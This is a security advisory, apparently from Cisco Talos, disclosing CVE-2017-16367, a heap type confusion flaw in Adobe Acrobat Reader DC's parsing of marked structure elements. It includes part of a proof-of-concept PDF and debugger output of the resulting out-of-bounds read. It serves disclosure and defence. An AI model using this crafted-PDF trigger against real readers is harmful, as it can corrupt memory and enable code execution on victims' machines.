CVE-2017-16367
An exploitable type confusion vulnerability exists in code responsible for parsing PDF documents with marked structure elements of Adobe Acrobat Reader DC 2017.009.20044. A specially crafted PDF file can trigger an out of bounds access on the heap potentially leading to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2017.009.20044
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-843: Access of Resource Using Incompatible Type (‘Type Confusion’)
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Structured content elements are used in marked PDF documents to represent document structure which can be used when processing the document for future use. Some of these elements can influence the presentation of the content stream being rendered to the screen for accessibility, linguistic or other practical purposes.
There exists a vulnerability in a way Acrobat Reader handles malformed content streams that have marked structure content elements attached to them. Specifically, when processing a content stream which refers to a non existing font, structure element with ActualText attribute specifying a Unicode encoded soft hyphen can cause a buffer for a structure to be allocated which is then used in part of the code that expects a pointer to a different, bigger, structure leading first to out of bounds access and then further heap corruption.
Part of our proof of concept PDF file for this vulnerability is as follows: 6 0 obj « /Length 6975 » stream q BT 1 0 1 1 0 1 Tm /NonexistantFont 400 Tf /P «/MCID 0 »BDC (E)Tj EMC /TT1 400 Tf /P «/MCID 1 »BDC (A)Tj EMC ET endstream endobj
7 0 obj
<<
/Subtype /TrueType
/BaseFont /Helvetica
/Type /Font
>>
endobj
8 0 obj
[10 0 R
11 0 R ]
endobj
10 0 obj
<<
/ActualText <FEFF00AD>
/S /Document
>>
endobj
11 0 obj
<<
/K 1
/S /Document
/Pg 4 0 R
>>
endobj
Above, in content stream in object 6, we see a Tf
operator, which sends font and font size, referencing a non-existent font object. Then, we see two references to MCID
numbered elements. These stand for Marked Content ID and refer to objects 10 and 11. When processing structured content, these structure elements are applied to the part of content stream they are part of. It should be pointed out that structure content element object 10 specifies ActualText
key with unicode value of 0xfeff00ad (code for soft hyphen) which is to be used instead of the text rendered to the screen.
If we take a look with a debugger, we can see a memory area of size 0x18 being allocated:
Breakpoint 0 hit
eax=1f2b4fe8 ebx=1f26af18 ecx=00000018 edx=00000000 esi=0012e218 edi=0012e2ac
eip=6023d75d esp=0012e1c0 ebp=0012e1d8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x39d3d:
6023d75d 59 pop ecx
1:009> u eip-5
AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x39d38:
6023d758 e8b7e7e0ff call AcroRd32_60000000!AcroWinMainSandbox+0x39b0 (6004bf14)
6023d75d 59 pop ecx
6023d75e 59 pop ecx
6023d75f 894718 mov dword ptr [edi+18h],eax
6023d762 ff7524 push dword ptr [ebp+24h]
6023d765 ff06 inc dword ptr [esi]
6023d767 ff7520 push dword ptr [ebp+20h]
6023d76a ff751c push dword ptr [ebp+1Ch]
1:009> d eax
1f2b4fe8 00000000 00000000 00000000 00000000
1f2b4ff8 00000000 00000000 ???????? ????????
1f2b5008 ???????? ???????? ???????? ????????
1f2b5018 ???????? ???????? ???????? ????????
1f2b5028 ???????? ???????? ???????? ????????
1f2b5038 ???????? ???????? ???????? ????????
1f2b5048 ???????? ???????? ???????? ????????
1f2b5058 ???????? ???????? ???????? ????????
1:009> !heap -p -a eax
address 1f2b4fe8 found in
_DPH_HEAP_ROOT @ 181000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1f1722d8: 1f2b4fe8 18 - 1f2b4000 2000
11248e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77f8628e ntdll!RtlDebugAllocateHeap+0x00000030
77f4a6cb ntdll!RtlpAllocateHeap+0x000000c4
77f15d20 ntdll!RtlAllocateHeap+0x0000023a
03951c63 MSVCR120!_calloc_impl+0x00000045 [f:\dd\vctools\crt\crtw32\heap\calloc_impl.c @ 44]
0395d5fb MSVCR120!calloc+0x00000018 [f:\dd\vctools\crt\crtw32\heap\calloc.c @ 48]
6004bf26 AcroRd32_60000000!AcroWinMainSandbox+0x000039c2
6023d75d AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x00039d3d
6023a7d7 AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x00036db7
6023a20a AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x000367ea
6023dbbf AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x0003a19f
6022faca AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x0002c0aa
6022f4c7 AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x0002baa7
6022f2e6 AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x0002b8c6
6022b935 AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x00027f15
600aa498 AcroRd32_60000000!DllCanUnloadNow+0x0001b2fa
600a9dd2 AcroRd32_60000000!DllCanUnloadNow+0x0001ac34
600a9bb6 AcroRd32_60000000!DllCanUnloadNow+0x0001aa18
6004f94f AcroRd32_60000000!AcroWinMainSandbox+0x000073eb
77d2c4e7 USER32!InternalCallWinProc+0x00000023
77d2c5e7 USER32!UserCallWinProcCheckWow+0x0000014b
77d2cc19 USER32!DispatchMessageWorker+0x0000035e
77d2cc70 USER32!DispatchMessageW+0x0000000f
600a941f AcroRd32_60000000!DllCanUnloadNow+0x0001a281
600a922b AcroRd32_60000000!DllCanUnloadNow+0x0001a08d
60048e48 AcroRd32_60000000!AcroWinMainSandbox+0x000008e4
6004872e AcroRd32_60000000!AcroWinMainSandbox+0x000001ca
00407086 AcroRd32+0x00007086
004ecca1 AcroRd32!AcroRd32IsBrokerProcess+0x0008b5a1
77e2ee6c kernel32!BaseThreadInitThunk+0x0000000e
77f23a03 ntdll!__RtlUserThreadStart+0x00000070
77f239d6 ntdll!_RtlUserThreadStart+0x0000001b
In the above debugging output, we break after a call to AcroRd32_60000000!AcroWinMainSandbox+0x39b0
which is basically a wrapper around calloc
. After this allocation, the returned chunk is examined with !heap -p -a eax
where we can see its user size is 0x18 bytes. If we continue the execution we can observe the following crash:
(1274.1038): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1f2b4fe8 ebx=17476f90 ecx=0012e2ac edx=00000000 esi=0012e2ac edi=1f26af18
eip=6059fc4f esp=0012e1b0 ebp=0012e1b0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
AcroRd32_60000000!AX_PDXlateToHostEx+0x2032e2:
6059fc4f 8b4820 mov ecx,dword ptr [eax+20h] ds:0023:1f2b5008=????????
Register eax
holds a pointer to the previously allocated object, but the current instruction is trying to allocate a dword at offset 0x20 which is 8 bytes after the end of our buffer. This is clearly a read access violation that has crashed the process because of PageHeap, but if the out of bounds memory was readable, or another object was already there, the process could continue leading to further object misuse and further heap corruption which could be controlled to lead to arbitrary code execution.
If a correct font, instead of a non-existent one, was referenced in the content stream, execution takes a different route and a memory chunk of correct size (0x28 bytes) is allocated.
(2628.1574): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll -
eax=1f944fe8 ebx=1e696f90 ecx=0012e2ac edx=00000000 esi=0012e2ac edi=1f8faf18
eip=6059fc4f esp=0012e1b0 ebp=0012e1b0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
AcroRd32_60000000!AX_PDXlateToHostEx+0x2032e2:
6059fc4f 8b4820 mov ecx,dword ptr [eax+20h] ds:0023:1f945008=????????
1:009>1:009> !heap -p -a eax
address 1f944fe8 found in
_DPH_HEAP_ROOT @ 19a1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1f8125b0: 1f944fe8 18 - 1f944000 2000
11248e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77f8628e ntdll!RtlDebugAllocateHeap+0x00000030
77f4a6cb ntdll!RtlpAllocateHeap+0x000000c4
77f15d20 ntdll!RtlAllocateHeap+0x0000023a
04131c63 MSVCR120!_calloc_impl+0x00000045 [f:\dd\vctools\crt\crtw32\heap\calloc_impl.c @ 44]
0413d5fb MSVCR120!calloc+0x00000018 [f:\dd\vctools\crt\crtw32\heap\calloc.c @ 48]
6004bf26 AcroRd32_60000000!AcroWinMainSandbox+0x000039c2
6023d75d AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x00039d3d
6023a7d7 AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x00036db7
6023a20a AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x000367ea
6023dbbf AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x0003a19f
6022faca AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x0002c0aa
6022f4c7 AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x0002baa7
6022f2e6 AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x0002b8c6
6022b935 AcroRd32_60000000!CTJPEGDecoderReadNextTile+0x00027f15
600aa498 AcroRd32_60000000!DllCanUnloadNow+0x0001b2fa
600a9dd2 AcroRd32_60000000!DllCanUnloadNow+0x0001ac34
600a9bb6 AcroRd32_60000000!DllCanUnloadNow+0x0001aa18
6004f94f AcroRd32_60000000!AcroWinMainSandbox+0x000073eb
77d2c4e7 USER32!InternalCallWinProc+0x00000023
77d2c5e7 USER32!UserCallWinProcCheckWow+0x0000014b
77d2cc19 USER32!DispatchMessageWorker+0x0000035e
77d2cc70 USER32!DispatchMessageW+0x0000000f
600a941f AcroRd32_60000000!DllCanUnloadNow+0x0001a281
600a922b AcroRd32_60000000!DllCanUnloadNow+0x0001a08d
60048e48 AcroRd32_60000000!AcroWinMainSandbox+0x000008e4
6004872e AcroRd32_60000000!AcroWinMainSandbox+0x000001ca
00407086 AcroRd32+0x00007086
004ecca1 AcroRd32!AcroRd32IsBrokerProcess+0x0008b5a1
77e2ee6c kernel32!BaseThreadInitThunk+0x0000000e
77f23a03 ntdll!__RtlUserThreadStart+0x00000070
77f239d6 ntdll!_RtlUserThreadStart+0x0000001b
2017-06-05 - Vendor Disclosure
2017-11-14 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.